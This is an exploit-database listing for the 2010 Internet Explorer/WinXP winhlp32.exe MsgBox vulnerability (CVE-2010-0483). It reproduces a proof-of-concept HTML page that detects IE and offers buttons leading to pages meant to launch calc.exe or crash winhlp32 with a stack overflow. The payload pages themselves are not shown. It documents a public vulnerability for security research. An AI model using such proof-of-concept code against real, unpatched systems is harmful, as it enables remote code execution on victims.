Sploitus

Exploit for Microsoft IE winhlp32.exe服务远程代码执行漏洞(MS10-022)

CVE-2010-0483

seebug · 2010-04-14

Exploit Code

MARKDOWN29 lines
## https://sploitus.com/exploit?id=SSV:19445
<html>
<title>IE8, IE7 XP MsgBox PoC</title>
<body>
<script>
if(navigator.userAgent.indexOf('MSIE') < 0)
document.write('<b>Warn: Your browser isn\'t IE ? It won\'t work.</b>');
</script>
<br><br>

This is simple demo for IE8/IE7 (only WinXP) vulnerability described here:<br>
<a href="http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt">http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt</a>
<br><br><br>  
[+] The first one should spawn calc.exe after pressing F1.
<br>
<FORM>
<INPUT TYPE="BUTTON" VALUE="Calc.exe" ONCLICK="window.location.href='box.html'">
</FORM>
<br><br>
[+] The second one triggers stack overflow in winhlp32 process.
<br>
<FORM>
<INPUT TYPE="BUTTON" VALUE="Stack Overflow" ONCLICK="window.location.href='box2.html'">
</FORM>

<br><br>
iSEC 2010 (C) <a href="http://twitter.com/mprodeus">maurycy prodeus</a>
</body>
</html>